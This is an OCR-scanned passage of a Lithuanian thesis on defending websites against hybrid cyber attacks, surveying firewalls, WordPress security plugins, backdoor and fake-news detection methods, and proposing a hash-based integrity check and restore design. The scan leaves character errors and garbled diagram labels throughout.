auditorijos mastyma ir veiksmus. Pagrindinis tikslas — manipuliuoti tuo, kaip jie suvokia tikrove.

Vienas 1§ dezinformacijos poveikio pavyzdziy — 2017 m. Indijoje per ,,WhatsApp* programele
paskelbti gandai, kuriuose nurodoma, kad viename i§ kaimy veikia vaikus grobianti grupuoté.
Prane$ime buvo teigiama, jog grupuoté grobia vaikus ir pardavinéja i§ vaiky paimtus organus ir
pateiktos vaiky, suguldyty eilémis ant zemés nuotraukos. Kaip paaiskéjo véliau, nuotraukos buvo
netikros ir padarytos Sirijoje per cheming atakg Zuvusiy vaiky. Pasklidus dezinformacijai kaimuose
prasidéjo smurtiniai i$puoliai, per kuriuos nuo 2017 m. sausio mén iki 2018 m liepos mén. zuvo 33
zmonés [15].

Hibridinés atakos ir jy grésmé pastebima visame pasaulyje, remiantis CSIS (angl. Center for
Strategic and Internatiol Studies) sudarytu reik§mingy kibernetiniy incidenty sarasu, pateikiamos
keletas hibridiniy ataky pavyzdziy per pastaruosius keleta mety [16]:

e 2017 m. Sausio mén. — Svedijos uZsienio politikos institutas apkaltino Rusija vykdant
informacinio karo kampanija, panaudojant netikras naujienas, melagingus dokumentus ir
dezinformacija, skirta susilpninti visuomenés parama Svedijos politikai.

e 2018 m. Rugpjucio meén. — Facebook identifikavo kelias naujas dezinformacijos
kampanijas, kurias rémé Rusija ir Iranas. Kampanijos taikiniu pasirinkti naudotojai i$
Jungtiniy Amerikos Valstijy, Lotyny Amerikos, DidZiosios Britanijos ir Viduriniyjy Ryty,
naudojant 652 suklastotus profilius, puslapius ir grupes.

e 2020 m. BalandZio mén. — Lenkija jtaré, jog Rusijos valdZia atsakinga uz serijg
kibernetiniy ataky prieS Lenkijos Karo studijy universiteta, siekiant pradéti
dezinformacijos kampanijg prie§ Jungtiniy Amerikos Valstijy — Lenkijos rysius.

22



1.2. Hibridiniy kibernetiniy ataky saugos metodai ir praktikos

Visuomenei laisvai prieinamos svetainés, siekdamos uztikrinti informacijos patikimumg ir
apsaugg, privalo atsakingai rtpintis svetainiy saugumu. Internete gausu informacijos kaip reikéty
tinkamai pasirtipinti svetainiy saugumu, sitilomos jvairios apsaugos priemonés ir jrankiai.

Siekiant iSsiaiskinti esamy saugos metody ir praktiky privalumus ir trikumus, pateikiami
pagrindiniai saugos metodai ir praktikos naudojamos interneto svetainése.

1.2.1. Internetinés svetainés ugniasiené

Internetinés svetainés ugniasiené (angl. Web application firewall) — viena i§ daZniausiai siilomy,
bitiny apsaugos priemoniy. Ugniasien¢ atlieka siuntiné¢jamy pakety tarp kliento ir serverio analizg ir
gali aptikti jvairias Siuolaikines atakas.

Ugniasienés pagal strategijos tipa gali turéti dviejy tipy saugumo modelius: teigiamg arba
neigiamg. Teigiamu modeliu veikian¢ios ugniasienés praleidzia tik tokj srauta, kuris atitinka
apraSytas taisykles, visas kitas srautas yra blokuojamas. Neigiamu modeliu veikiancios ugniasienés
blokuoja tik tokj srauta, kuris atitinka apraSytas ataky taisykles. StandartiSkai, ugniasienés veikia tik
teigiamu arba neigiamu saugumo modeliu ir retais atvejais naudoja abu [17].

Naudojant teigiamos politikos saugumo modeliu paremtomis ugniasienémis, paketai yra
analizuojami, jog bity uztikrinta, kad informacija yra tinkama. Tai apima jvairiy lauky ir Zinuciy
tikrinima, jog pavyzdziui laukelio reikSme, kuriame turéty biiti jraSytas el. pasto adresas neturéty
kitokiy reik§miy, tokiy kaip pasto kodas ar nevirSyty leistinos ilgio ribos. Siuo metu sitilomos
ugniasienés taip pat naudoja masininio apsimokymo (angl. Machine learning) metodus, todél
pradzioje turi apsimokyti, kad galéty atskirti kokia jvestis yra teisinga. Sudarius apsimokymo
profilius, ugniasien¢ pradeda automatiskai konfigliruoti saugumo taisykles, kad galéty sekmingai
validuoti jvestis.

Naudojant neigiamos politikos saugumo modeliu paremtas ugniasienes, paketai yra analizuojami
ir tikrinama ar juose yra fragmenty, kurie laikomi kenksmingais. Aptikus paketus, kuriuose
potencialiai yra kenksmingy daliy, jie yra blokuojami. Sis modelis, veikdamas vienas, biity
neefektyvus, kadangi aktyvi jsilauzéliy visuomené kasdien randa naujus buidus apeiti saugumo
taisykles.

Remiantis 2018 mety straipsniu [17], galima i$skirti keturias populiariausias ugniasienes:

Barracuda WAF

Citrix WAF

F5 WAF

Fortinet Fortiweb WAF

A

Barracuda WAF — visapusiska interneto svetainiy saugumo platforma. Ugniasiené pasizymi
auksta sparta apdorojant duomenis ir gali apsaugoti nuo OWASP Top 10 ataky, duomeny nutekéjimo
ir aplikacijy lygio DoS ataky, bei aptikti ir blokuoti automatines atakas. ISnaudodama teigiamos
politikos saugumo modelj kartu su galingomis anomalijy aptikimo galimybés, Barracuda ugniasiené
gali jveikti pacias jmantriausias Siuolaikines atakas nukreiptas prie$ internetines svetaines [18].
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Citrix WAF — viena i$ geriausiy interneto svetainiy ugniasieniy, kKuri apsaugo svetaines nuo
Zinomy ir nezinomy ataky, jskaitant visas aplikacinio lygio ir ,,nulinés dienos“ (angl. zero-day)
grésmiy. Nepriklausomai nuo vis didéjan¢iy saugumo i$8iikiy, Citrix ugniasiené sitilo visapusiska
apsaugg nepakenkiant pralaidumui ar svetainés atsakymy laikams [19].

F5 WAF — pazangi interneto svetainiy ugniasiené sauganti svetaines nuo paskutinés kartos ataky
naudodama elgesio analizés algoritmus, aktyvig automatizuoty ataky apsauga ir aplikacijos lygio
Sifravimg, siekiant apsaugoti svarbius duomenis, tokius kaip prisijungimo duomenys. Ugniasiené
saugo svetaines nuo pazangiy 7 OSI (angl. Open Systems Interconnection Reference Model) lygio
ataky, OWASP Top 10 ataky, taip pat nuo ,,nulinés dienos* (angl. zero-day) grésmiy [20].

Fortinet Fortiweb WAF - ugniasien¢ naudoja daugiasluoksng, dirbtiniu intelektu ir
koreliacijomis paremta saugos metodika ir sitilo visavertiS$kg apsaugg interneto svetainéms nuo
OWASP Top 10 ir daug kity grésmiy. Pirmasis apsaugos sluoksnis naudoja tradicinius internetiniy
svetiniy aptikimo variklius, tokius kaip ataky parasai, IP adresy reputacija ir protokoly validacija.
Srautas, pra¢jes pirmo lygio patikra, persiun¢iamas j masininiu apmokymu paremta variklj, kuriame
naudojamas reguliariai atnaujinimas modelis sugeba identifikuoti kenksmingas anomalijas ir jas
uzblokuoti [21].

1.2.2. TVS saugumo papildiniai

Turinio valdymo sistemoms paremtoms sistemos egzistuoja papildoma praktika, kaip gali buti
gerinamas saugumas. Vienas 1§ jy — specifiniy jrankiy (papildiniy) pridé¢jimas, kurie ripinasi
svetainés saugumu. Remiantis 2016 metais sudarytu dokumentu apie TVS sistemomis paremty
interneto svetainiy sauguma [1], galima isskirti tris populiariausius papildinius, naudojamus padidinti
Wordpress TVS sauguma:

1. iThemes Security papildinys
2. WordFence papildinys
3. All-in-One WP Security & Firewall papildinys

iThemes Security — suteikia daugiau nei 30 papildomy budy padidinti sauguma ir apsaugoti
WordPress svetaing. Dauguma WordPress svetainiy administratoriy nezino, kad jy svetainés yra
pazeidziamos, taciau Sis papildinys uZztaiso pagrindines saugumo skyles, sustabdo automatizuotas
atakas ir padidina naudotojy prisijungimo duomeny apsaugg. Pagrindinés sitilomos papildinio
funkcijos [22]:

e Dviejy faktoriy autentifikacija — leidzia naudoti Google Authenticator arba Authy
produktus sugeneruoti kodui arba atsiunciamas sugeneruotas vienkartinis kodas el. pastu.

e Kenkéjisky programy skenavimo planavimas — galima sukonfigiiruoti, jog svetainé biity
kiekvieng dieng skenuojama dél kenkeéjisky programy. Jeigu aptinkama kenkéjiska
programa, atsiunc¢iamas praneSimas el. pastu.

e Slaptazodziy saugumo funkcija — uztikrina saugiy ir stipriy slaptazodziy generavima tiesiai
1§ profilio.

e Slaptazodziy galiojimo laiko jvedimas — leidZia slaptaZzodZiams uzdéti galiojimo laikg ir
privercia naudotojus periodiskai atnaujinti slaptazodzius.

e Internetinis faily palyginimas — aptinka faily pasikeitimus ir atlieka skenavimg. Sugeba
aptikti ar nauji pakeitimai faile yra kenksmingi ar ne.
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WordFence — papildinys turi integruotg galinés prieigos ugniasieng ir kenkéjisky programy
skaitytuva, kuris buvo specialiai sukurtas siekiant apsaugoti WordPress svetaines. Papildinys
pasiZymi naujausiomis ugniasienés taisyklémis, kenkejisky programy parasais ir zinomy kenkéjisky
IP adresy blokavimu, taip uztikrindamas visapusi$kg internetinés svetainés apsaugg. Pagrindinés
siilomos papildinio funkcijos [23]:

e Integruotas kenkéjiSky programy skaitytuvas — blokuoja uzklausas, kuriose aptinka
kenkejiska koda ar turin;.

e Faily pasikeitimo aptikimas — reguliariai lygina WordPress branduolio failus, temy ir
papildiniy failus su esamais repozitorijose. Aptikus pasikeitimus, tikrinamas vientisumas
ir praneSama apie pasikeitimus.

e Reguliarus svetainés tikrinimas dél zinomy saugumo pazeidziamumy — papildinys
reguliariai skenuoja svetaing dél Zinomy pazeidziamumy ir pranesa apie aptiktus
pazeidziamumus.

e Dviejy zingsniy autentifikacija — sitilo dviejy Zingsniy autentifikacija naudojantis TOPT
(angl. Time-based One-time password) autentifikacijos programa ar servisu.

All-In-One WP Security & Firewall — visapusiskas, lengvai naudojamas, stabilus ir gerai
palaikomas WordPress apsaugos papildinys. Papildinys padeda sumazinti kibernetiniy ataky rizika
reguliariai tikrindamas svetaing dél pazeidziamumy ir palaikydamas naujausias WordPress apsaugos
praktikas ir technikas. Taip pat naudojama saugos taSky vertinimo sistema, kuri sugeba sekti ir
pamatuoti apsaugos lygj svetaingje, priklausomai nuo naudojamy saugos funkcijy. Pagrindinés
siilomos papildinio funkcijos [24]:

e Faily pasikeitimo aptikimas — reguliariai tikrina ar yra pasikeitimy failuose ir leidzia
administratoriui perzitiréti aptiktus pasikeitimus ir nuspresti ar pakeitimai néra kenkéjiski.

e Leidzia naudoti prisijungimo ,,medaus puodyne“ (angl. Login honeypot) — Sio metodo
naudojimas leidzia stipriai sumazinti ,,grubios jégos* (angl. brute-force) ataky bandymus,
kuriuos atlieka automatizuoti robotai.

e Galimybé kurti ugniasienés taisykles pagal poreikj — galima sukurti atskiras taisykles,
skirtas uzdrausti prieigg prie jvairiy svetainés resursy.

e Leidzia sekti ir perzitiréti naudotojy aktyvuma — seka ir leidzia administratoriui perzitiréti
naudotojy aktyvuma, naudojamg prisijungimo varda, IP adresa ir prisijungimo /
atsijungimo laikus.

1.2.3. ,,Galiniy dury* atakos prevenciniai metodai

Kenkéjisky programy (angl. malware), kuriy tarpe ir ,,galiniy dury” ataka aptikimo metodai
skirstomi | tris pagrindines kategorijas [25]:

1. Parasu pagristas aptikimas (angl. Signature based detection)
2. Elgsena pagristas aptikimas (angl. Behavioural based detection)
3. Euristinis nustatymas (angl. Euristic based detection)

1.2.3.1. Parasu pagristas aptikimas

Siuo metu 3ablony ieikojimas yra labiausiai paplites kenkéjisky programy aptikimo metodas.
Sudaromas parasas yra unikali savybé kiekvienam failui, kuri paprastai gali biiti palyginama su
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7zmogaus pir§to antspaudu. Parasu pagrjsti metodai naudoja Sablonus, kurie yra iSgauti i§ jvairiy
kenkéjisky programy ir leidzia jas identifikuoti. Sitoks metodas yra Zymiai efektyvesnis ir greitesnis,
nei bet kurie kiti metodai ir leidzia aptikti kenkéjiska jranga su mazu klaidy skaic¢iumi.

Nors paraSu pagrjsti metodai yra efektyvis ir greiti, jie negali aptikti nezinomos kenkéjiskos
programos varianty, taip pat reikalinga daug laiko ir i$laidy unikaliems parasams iSgauti.

1.2.3.2. Elgsena pagristas aptikimas

Elgsena pagristas aptikimas stebi programy elgseng siekiant nustatyti, ar ji yra kenkéjiska, ar ne.
Kadangi stebima kokius veiksmus atlieka programa, galima identifikuoti jvairius naujus kenkéjiskos
programos variantus, kurie gali bati neaptikti paradu gristais metodais. Sio tipo aptikimo
mechanizmai padeda aptikti kenké¢jiSkas programas, kurios gali buti naujai generuojamos ir
modifikuojamas, kadangi jos visada naudoja sistemos iSteklius ir paslaugas panaSiu budu.
DaZniausiai tokiu biidy pagrijstos sistemos susideda i$ Siy komponenty:

e Duomeny surinkéjas — §is komponentas surenka informacijg apie programa.
e Interpretatorius — konvertuoja surinktg ,,zalig” informacijg j tarpines reprezentacijas.

e Tikrintojas — naudojamas tikrinti interpretatoriaus pateiktus rezultatus su turimais elgsenos
parasais.

Sio aptikimo metodo didZiausi trikumai yra nenuspé&jamas ir nepastovus galimy aptikimo klaidy
skaicius ir ilgas nuskaitymo laikas, siekiant nuspresti ar programa yra kenkejiska, ar ne.

1.2.3.3. Euristinis nustatymas

Naudojami euristiniai kenkéjisky programy aptikimo metodai remiasi duomeny gavimo ir
masininio mokymosi metodais, kurie skirti iSmokti vykdomyjy faily elgesj. MaSininiu mokymosi
grjstoms sistemoms biitinos tam tikros savybés (angl. features), pagal kurias galima klasifikuoti
duomenis. Kenkejisky programy aptikimui naudojamos penkios pagrindinés savybeés:

1. API/Sisteminiai kvietiniai — praktiskai visos programos naudojasi programy ar sisteminiais
kvietiniais, todél tai yra vienas patraukliausiy biidy, kuris atspindi kenkéjiskos programos
elgesi.

2. Operaciniai kodai (angl. OpCode) — kiekviena programa yra apibréziama kaip tam tikra
instrukeijy serija, kuri gali biiti analizuojama masSininio mokymosi algoritmais.
3. ,,N-Grams* — kiekvieng eilute galima iSskaidyti  atskiras dalis po n simboliy, kurie gali

biiti naudojami siekiant atpaZinti kenkéjiSkg programa.

4. Valdymo srauto grafas (angl. Control Flow Graph) — kryptinis grafas, kuriame kiekvienas
mazgas reiskia programos teiginj ir kiekvienas kampas (angl. edge) rodo valdymo srautg
tarp teiginiy.

5. Hibridinés savybés — siekiant iSgauti geresnj aptikimo tiksluma, skirtingos savybés yra
kombinuojamos pvz. API/Sisteminiai kvietiniai su valdymo srautu grafu.
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Didziausias euristiniy aptikimo metody triitkumas — aukstas klaidingai teigiamy aptikimy skaicius,
bei didelis duomeny kiekis reikalingas masininio mokymosi algoritmais paremty sistemy apmokymui
[25].

2021 m. lapkri¢io mén. paskelbtame straipsnyje apraSytas metodas RF-DNN?, kuris skirtas
»galiniy dury* atakos prevencijai PHP programavimo kalba parasytoms internetinéms svetainéms
[26]. Straipsnyje silomas metodas sujungia du giluminius neuroninius tinklus (angl. deep neural
networks) ir atsitiktiniy medziy klasifikatoriy (angl. Random Forest) siekiant aptikti ,,galines duris®.
Pirmasis neuroninis tinklas apmokomas pasirinkty ,,galiniy dury® programiniu kodu, o antrasis tinklas
ty paciy programiniy kody sugeneruotomis operaciniy kody sekomis.

RF-DNN? modelio architektiira pateikiama 5 pav.

Apmokymo
duomenu rinkinys

Programinio kodo Operaciniu kodu
skaitymas generavimas
v v
TF-IDF vektorizacija TF-IDF vektorizacija
(256) (256)

Testavimo

duomeny rinkinys e

Prognozé #lfmogno:e 22

Atsitiktiniy medziy
klasifikatorius

l

Galutiné
prognoze

5 pav. RF-DNN? modelio architektiira
Sitilomo metodo pritaikymas, lyginant su kitais metodais turi tris pranaSumus:

1. Atsikratoma savybiy inzinerijos, kadangi Zinoma, jog tai yra varginanti ir daug laiko
reikalaujanti uzduotis. Taikant giluminio mokymosi mokymosi metodus (angl. deep
learning) siekiama sumazinti rizikg, jog uzpuolikai gali greitai pakeisti jsilauzimo taktika,
jeigu zinomos pagrindinés savybés, pagal kurias atliekamas aptikimas.

2. Naudojant du neuroninius tinklus galima aptikti naujus ataky variantus. Jsilauzéliai daznu
atveju prideda papildomy komentary eiluciy ar nereikalingy kintamyjy siekiant iSvengti
aptikimo metody. Apmokius neuroninj tinklg operaciniais kodais (antrasis neuroninis
tinklas), visos nedidelés kody modifikacijos tiesiog iSnyksta, nes iSlaikomas tik primityviy
operacijy kody sekos.
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3. Sumazinama didelé neuroniniy tinkly dispersija. Neuroniniai tinklai yra jautriis pradiniam
atsitiktiniam svoriui ir statistiniam triuk§mui mokymo duomeny rinkyje. Naudojamas
atsitiktiniy medziy klasifikatorius leidzia sumazinti neuroniniy tinkly dispersija.

Siekiant iStestuoti metoda buvo sukurtas specialus duomeny rinkinys, susidedantis i§ 992
kenkéjisky programinio kodo pavyzdziy ir 992 gerybinio programinio kodo, kurie buvo panaudoti
kaip apmokymo duomenys.

Eksperimento metu nustatyta, jog sitilomas metodas 98% tikslumu gali nustatyti kenkéjiska
»galiniy dury“ programinj koda. Nors metodas pasizymi aukstu tikslumu, tikétina, jog turint
mazesnés apimties duomeny apmokymo rinkinj arba atsiradus kitokio tipo atakoms efektyvumas
stipriai sumazéty.

1.2.4. Informacinés atakos prevenciniai metodai

Informacinés atakos arba kitaip ,,netikry naujieny aptikimas — natiiralios kalbos klasifikavimo
uzduotis, kuriame modelis turi nustatyti, ar naujieny straipsnis yra klaidingas ar netikras. Siekiant
sékmingai atskirti netikrg informacija, modelis turi ne tik mokéti suprasti nattiralig kalba, bet ir mokéti
1 savo skaiCiavimus jtraukti zinias i§ viso pasaulio, jskaitant zinias apie dabartinius jvykius. Daznu
atveju tai yra tiek pat sudétingas uzdavinys, kiek ir svarbus Siuolaikiniame pasaulyje.

Prevenciniai metodai remiasi jvairiais sprendimais:

1. Gilios difuzijos tinklai (angl. Deep Difusion Networks) [27]

2. Pasikartojantys ir konvoliuciniai tinklai (angl. Recurrent and Convuntional Networks) [28]
3. BERT pagrjsti modeliai (angl. BERT-based models) [29]

Prevenciniy metody apmokymui ir tikrinimui bei efektyvumui jvertinti dazniausiai naudojami
duomeny rinkiniai [30]:

1. BuzzFeedNews — mazas duomeny rinkinys sukurtas Facebook. Duomeny rinkinyje randamos
tik antrastés ir 2282 jrasy tekstai;

2. BuzzFace — duomeny rinkinys sudarytas i§ keturiy kategorijy pavadinty dazniausiai tiesa,
dazniausiai klaidinga, teisingy ir klaidingy misinys ir jokios faktinés informacijos. Rinkinj
sudaro informacija i§ 2263 straipsniy;

3. LIAR — duomeny rinkinys, kuris naudojamas kartu su fakty tikrinimo internetine svetaine
Politifact. Duomeny rinkinys i$skirtas j SeSias kategorijas ir suformuotas i§ 12836 trumpy
pareiskimy, o ne pilny straipsniy;

4. CREDBANK - duomeny rinkinys specifiskai suformuotas ir nukreiptas j Twitter naujieny
kanalui. Rinkinys sudarytas i§ 60 min. jrasy, paskirstyty j keturis failus;

5. Reuters — rinkinys sudarytas 1§ 7769 apmokymo dokumenty ir 3019 testavimo dokumenty.
Visi dokumentai surinkti i$ to paties informacijos Saltinio ir turi jvairias etiketes bei siiilo 90
skirtingy klasiy;

6. Mclintire — dvejetainis duomeny rinkinys, kurj sudaro 10558 eilutés ir 4 stulpeliai, kurie
pazyméti taip arba ne etiketémis;

7. FacebookHoax — rinkinys sudarytas i§ Facebook socialiniame tinkle paskelbty 15500 jrasy;

8. Kaggle — duomeny rinkinys, kuriame sudétos teisingos ir klaidingos naujienos, taciau
nenurodami naujieny Saltiniai.
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Pagal atlikto netikry naujieny aptikimo modeliy jvertinimo tyrima [31], visais trimis tipais paremti
prevenciniai metodai neuztikrina pilnos apsaugos nuo ataky ir gali jy neaptikti. Tyrimo metu
pastebéta, jog modeliy efektyvumas tiesiogiai priklauso nuo duomeny rinkiniy kokybés ir kiekio, o
tai yra didelis trikumas, kai modelius siekiama pritaikyti skirtingoms kalbomis. Turint mazus

duomeny rinkinius skirtingoms kalboms negali biiti uztikrinamas aukstas efektyvumo lygis, todél
patariama naudoti ir papildomas priemones ar fakty tikrinimo metodus.

1.3. Esminiai informaciniy sistemy saugumo Kkriterijai

Apibendrinant analizés dalyje aptartas temas, galima iSskirti pagrindinius informaciniy sistemy
saugumo kriterijus. Remiantis NKSC [2], OWASP [32], [33] pateiktomis rekomendacijomis
sudaromas pagrindiniy saugumo kriterijy sarasas:

Naudoti ir reguliariai atnaujinti internetiniy puslapiy ugniasienes.

Jei naudojami papildomi jskiepiai ar kita P], pasirlpinti reguliariais atnaujinimais ir jy
palaikomumu.

Vengti naudoti nepatikrintus ir neoficialius iskiepius bei P].

Reguliariai tikrinti svetaing dél Zinomy pazeidziamumy ir sekti aktualijas dél naujai
atsiradusiy ataky.

Interneto svetainéms, kurios naudoja TVS, rekomenduojama jgalinti dviejy Zingsniy
autentifikacija, prisijungimo pagal IP adresus galimybe ir periodiskai keisti slaptazodzius.
Jeigu internetinis puslapis turi jvesties laukeliy, vykdyti laukeliy validacijg ir uztikrinti, jog
laukeliuose néra jraSoma neteisinga / kenksminga informacija.

Naudojant SQL reliacines duomeny bazes patariama naudoti paruoStas (parametrizuotas)
uzklausas.

Patariama SQL duomeny bazés lenteles sukonfigiiruoti taip, jog jos biity prieinamos tik tam
tikroms naudotojy grupéms.

Neleisti jdéti neZinomos ir nepatikrintos informacijos | HTML formas, nebent tai yra bitina.
Jeigu leidZiama jdéti nepatikimg informacija § HTML / JavaScript, patariama naudoti
kodavima, taip siekiant sumazinti atakos grésmes.

1.4. Skyriaus apibendrinimas

1. Atlikus hibridiniy kibernetiniy ataky analize, pastebima, jog ataky skai¢ius auga, kibernetinés

atakoms jvykdyti dazniausiai i$Snaudojami senai Zinomi pazeidZiamumai, o informacinés
atakos atliekamos jvairiais biidais;

Kibernetiniy ataky prevencijai naudojamos internetiniy svetainiy ugniasienés, TVS saugumo
papildiniai, ta¢iau jie daznu atveju remiasi zinomy kenkéjisSky programy parasais, o tai
neapsaugo nuo naujai atsirandanc¢iy ataky ir neuZztikrina visapusiskos apsaugos;

Galiniy dury atakos prevencijai naudojami parasu ar elgsena gristi metodai bei euristinis
nustatymas, kuriems bitinas didelis duomeny kiekis apmokymui ir aptikimui. Metodai
reikalauja daug laiko priezitirai ir apmokymui, tac¢iau neuztikrina mazo klaidy kiekio;
Informaciniy ataky prevencija yra natiiralios kalbos klasifikavimo uZzdavinys, kurio
sprendimui naudojami jvairls duomeny rinkiniai ir sprendimai. Esant mazam duomeny
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rinkinio dydziui nejmanoma uztikrinti auksto modelio efektyvumo, tod¢l apmokymas yra ilga
ir brangi operacija;

Kuriamas naujas hibridiniy kibernetiniy ataky prevencijos metodas turéty buti suderinamas
su jau esamais saugos sprendimais ir nesiremti kenke¢jisky programy parasais ar duomeny
rinkiniais;

Siekiant padaryti interneto svetaines saugesnes naudotojams ir atsparesnes atakoms, yra
sukurti saugumo kriterijai ir rekomendacijos, kuriy laikantis galima sumazinti ataky keliamg
grésme;

Kuriamas metodas turéty visapusiSkai apsaugoti nuo hibridiniy kibernetiniy ataky ir uztikrinti
auksta efektyvumo lygi pries naujai atsirandancias atakas, kuriy parasai ar poZymiai dar néra
nustatyti.
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2. Hibridiniy kibernetiniy ataky prevencijos informacinése sistemose metodo projektas

Projektinés dalies tikslas - suprojektuoti hibridinés kibernetinés atakos prevencijos metoda, kuris
tenkinty iSkeltus reikalavimus. Keliami $ie uzdaviniai:
1. Sudaryti auksto lygio sprendimo koncepcinj modelj;
2. Nustatyti keliamus funkcinius, nefunkcinius ir saugos reikalavimus;

2.1. Sprendimo koncepcinis modelis

Hibridiniy kibernetiniy ataky prevencijos informacinése sistemose metodo koncepcinis modelis
remiasi principu, jog nejmanoma sukurti metodo, kuris visiskai apsaugoty nuo naujai atsirandanciy
kibernetiniy ataky, kuriy metu gali biiti sukuriamos ,,galinés durys®. Sékmingy hibridiniy kibernetiniy
ataky metu didziausia zala padaroma tada, kai ataka yra neaptinkama ilgg laikg ir paskleista
melaginga ar klaidinanti informacija yra viesai prieinama visuomenei. Sprendimo tikslas yra neleisti
sékmingai jvykdyti hibridinés atakos, t.y. atakai vykstant ar jvykus per pakankamai maza laikg
atstatyti sistemg | pradine biiseng. Atstatymas | pradine biiseng reiskia hibridinés kibernetinés atakos
sukelty padariniy likvidavimg — ,,galiniy dury® pasalinima ir informacijos atstatyma.

Sitlomame sprendime hibridiniy ataky prevencijai pasirinkta naudoti maiSos reikSmiy
skai¢iavimo algoritmg ir reguliariai tikrinti vieSai prieinamos informacijos vientisumg. MaiSos
funkcijos reikSmiy skai¢iavimo algoritmas naudojamas duomeny bazés jrasy ir sistemos faily
vientisumui uztikrinti, kadangi skai¢iuojant maiSos funkcijos reikSmes ir lyginant jas su zinomomis
geromis reikSmémis galima aptikti net maziausius pakeitimus. MaiSos reikSmiy skaiciavimo
algoritmo naudojimas tiesiogiai neapsaugo nuo kibernetiniy ataky, taciau gali padéti laiku pastebéti
sistemoje pakeistus ar naujai atsiradusius failus kibernetiniy ataky metu iki jvykstant antrajai
hibridinés kibernetinés atakos daliai — informacinei atakai.

Sitilomas sprendimas pagristas ne tik specialiy komponenty ir technologijy panaudojimu, taciau ir
specifiniu informacinés sistemos diegimu. Siekiant visapusiSkai apsaugoti interneting svetaing nuo
hibridiniy kibernetiniy ataky yra sukuriama etaloniné informaciné sistema izoliuotoje aplinkoje, o
vieSai prieinama yra tik tiksli sistemos kopija. Naudojant pasitilytag diegimo schemg yra islaikomas
TVS sistemy sitlomas funkcionalumas patogiam duomeny redagavimui ir pateikimui, papildomai
uztikrinant, jog vieSai prieinamg sistemos kopijg galima tiksliai atkurti pagal etaloning sistemga.
Siekiant uZztikrinti auksta internetinés svetainés prieinamumg sitiloma sukurti bent vieng papildoma
atsarging sistemos kopija, kuri gali biiti naudojama pagrindinei kopijai atstatinéjant j prading biisena.

Auksto lygio sprendimo koncepcija pateikiama 6 pav.
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Irasomos
maisos reikSmés

Prevencinis metodas

MaiSos

reikSmiu
duomeny
bazé

~

Skaitomos
maisos reikSmes

Maigos reikmiy
skaiciavimo modulis

Maisos reikSmiuy
tikrinimo modulis

IraSomi atvaizdai

Parsisiunciami

| Tikrinamos
maisos reikSmes
| Atkuriama

i$ atvaizdo

/  Viedai prieinama kopija \

Duomenu
baze

Informacine sistema

atvaizdai 1$saugomi srauto failai

Atsarginé kopija

Duomeny
baze

Informaciné sistema

Atvaizdy
saugykla

Srauto failu kiirimas

/

Administratoriai Moderatoriai

Variotojai
6 pav. Auksto lygio sprendimo koncepcijos diagrama

Pagrindiné prevencinio metodo paskirtis — uztikrinti duomeny vientisumg ir greitai atkurti viesai
prieinama kopija i$ sukurto etaloninés sistemos atvaizdo. Auksc¢iau pavaizduotoje diagramoje, biitina
atkreipti démesj | tai, jog izoliuota etaloniné sistema pasiekiama tik saugiais kanalais, nesijungiant
tiesiogiai i$ interneto, todél laikoma saugia. VieSai prieinama kopija skirta portalo lankytojams
prieSingai nei etaloniné sistema, yra pasiekiama i$ interneto, todel gali biiti pazeidZiama.

Prevencinis metodas susideda i$ keliy skirtingy moduliy, kuriy pagrindinis tikslas skai¢iuoti ir
tikrinti maiSos funkcijos reikSmes bei sukurti etaloninés sistemos atvaizdus ir juos panaudoti atkuriant
sistemos biiseng. Kiekvieno etaloninés sistemos atnaujinimo metu, visy svarbiy faily ir duomeny
maios reik§més iSsaugomos duomeny bazéje ir sukuriami nauji etaloninés sistemos atvaizdal.

Visos trys aplinkos (etaloniné, pagrindiné ir atsarginé) yra viena nuo kitos atskirtos naudojant
Docker konteinerizacijos technologija ir neturi bendry tiesioginiy tarpusavio sgsajy. Kiekviena
aplinka funkcionuoja savarankiskai ir nepriklausomai nuo kity, nors gali buiti diegiamos tame paciame
fiziniame serveryje. Prevencinis metodas diegiamas fiziniame serveryje ir kiekvienai aplinkai yra
nematomas dél konteinerizacijos technologijos.

2.2. Sprendimo veikimo modelis

Sitilomo sprendimo modelis pavaizduotus panaudos atvejy diagrama ir veikly diagramomis.
Prevencinio metodo pagrindinés funkcijos pavaizduotos panaudos atvejy diagrama 7 pav.
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Hibridiniy kibernetiniy ataky prevencijos metodas

— |

MaiSos reikdmiy skai¢iavimo modulis

PA1. Skaitiuoti duomeny
bazés jras y mais os
funkcijos reikimes

th

PA2. Skaiciuoti faily
ir katalogy mais os
funkcijos reiksmes

PA3. Sukurti
sistemos atvaizdg

g

Adminis tratorius /sistema

MaiSos reikamiy tikrinim o modulis

PA4. Tikrinti duomeny

| bazés jray maisos
funkcijos reikmes

th

PAS. Tikrinti faily ir
katalogy mais os
funkcijos reikimes

include: PAG. Patikrinti faila
St Akéii's ky faily
| duomeny bazéje

th

PAT. Atkurti

| sistemais atvaizdo

7 pav. Hibridiniy kibernetiniy ataky prevencijos metodo panaudojimo atvejy diagrama

Prevencinis metodas atlieka pagrindines septynias funkcijas:

1. Skaiciuoja duomeny bazés jrasy maisos funkcijos reikSmes (PA1);
Skaiciuoja faily ir katalogy maisos funkcijos reik§mes (PA2);
Sukuria sistemos atvaizda (PA3);

Tikrina duomeny bazés jrasy maisos funkcijos reik§mes (PA4);
Tikrina faily ir katalogy maiSos funkcijos reikSmes (PAS);
Tikrina failg kenkéjisSky faily duomeny bazéje (PA6);

Atkuria sistemg i§ atvaizdo (PA7Y).

No ok ow

Kiekvienas panaudojimo atvejis atvaizduotas veiklos diagrama ir diagramos pateiktos 8 pav.

pav.

-13
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Prevencinis m etodas Duom eny bazé Maisos reiksm iy duom eny bazé

(" Nuskaitomi |
lenteliy
pavadinim ai

(" Parenkamos )
‘ reikiamas
lenteles

(" Nuskaitomi )
T lenteliy ‘

duom enys
"/- Parenkam i .\‘

reikalingi
| lenteliy jrasai
\ y

I

( Sukuriami )
“ unikalds raktai

1

[ Skai€iuojam os
maisos
funkcijos
reiksmeés |rasom i nauji )
—ﬁ | jrasai pagal
| unikalius
raktus
e —

o

8 pav. PAL. Skai¢iuoti duomeny bazés jraSy maisos funkcijos reik§mes veiklos diagrama

»Skai¢iuoti duomeny bazés jraSy maiSos funkcijos reikSmes“ pavaizduota 8 pav. nuskaito
duomeny bazés lenteliy pavadinimus, juos atrenka ir pagal lenteliy pavadinimus nuskaito duomenis
i$ lenteliy. JraSai nuskaityti i§ lenteliy taip pat atrenkami ir jiems sukuriami unikalis raktai. Sekanc¢iu
zingsniu skai¢iuojama maisos funkcijos reikSmé ir jraSoma nauja reikSmé pagal unikaly rakta.

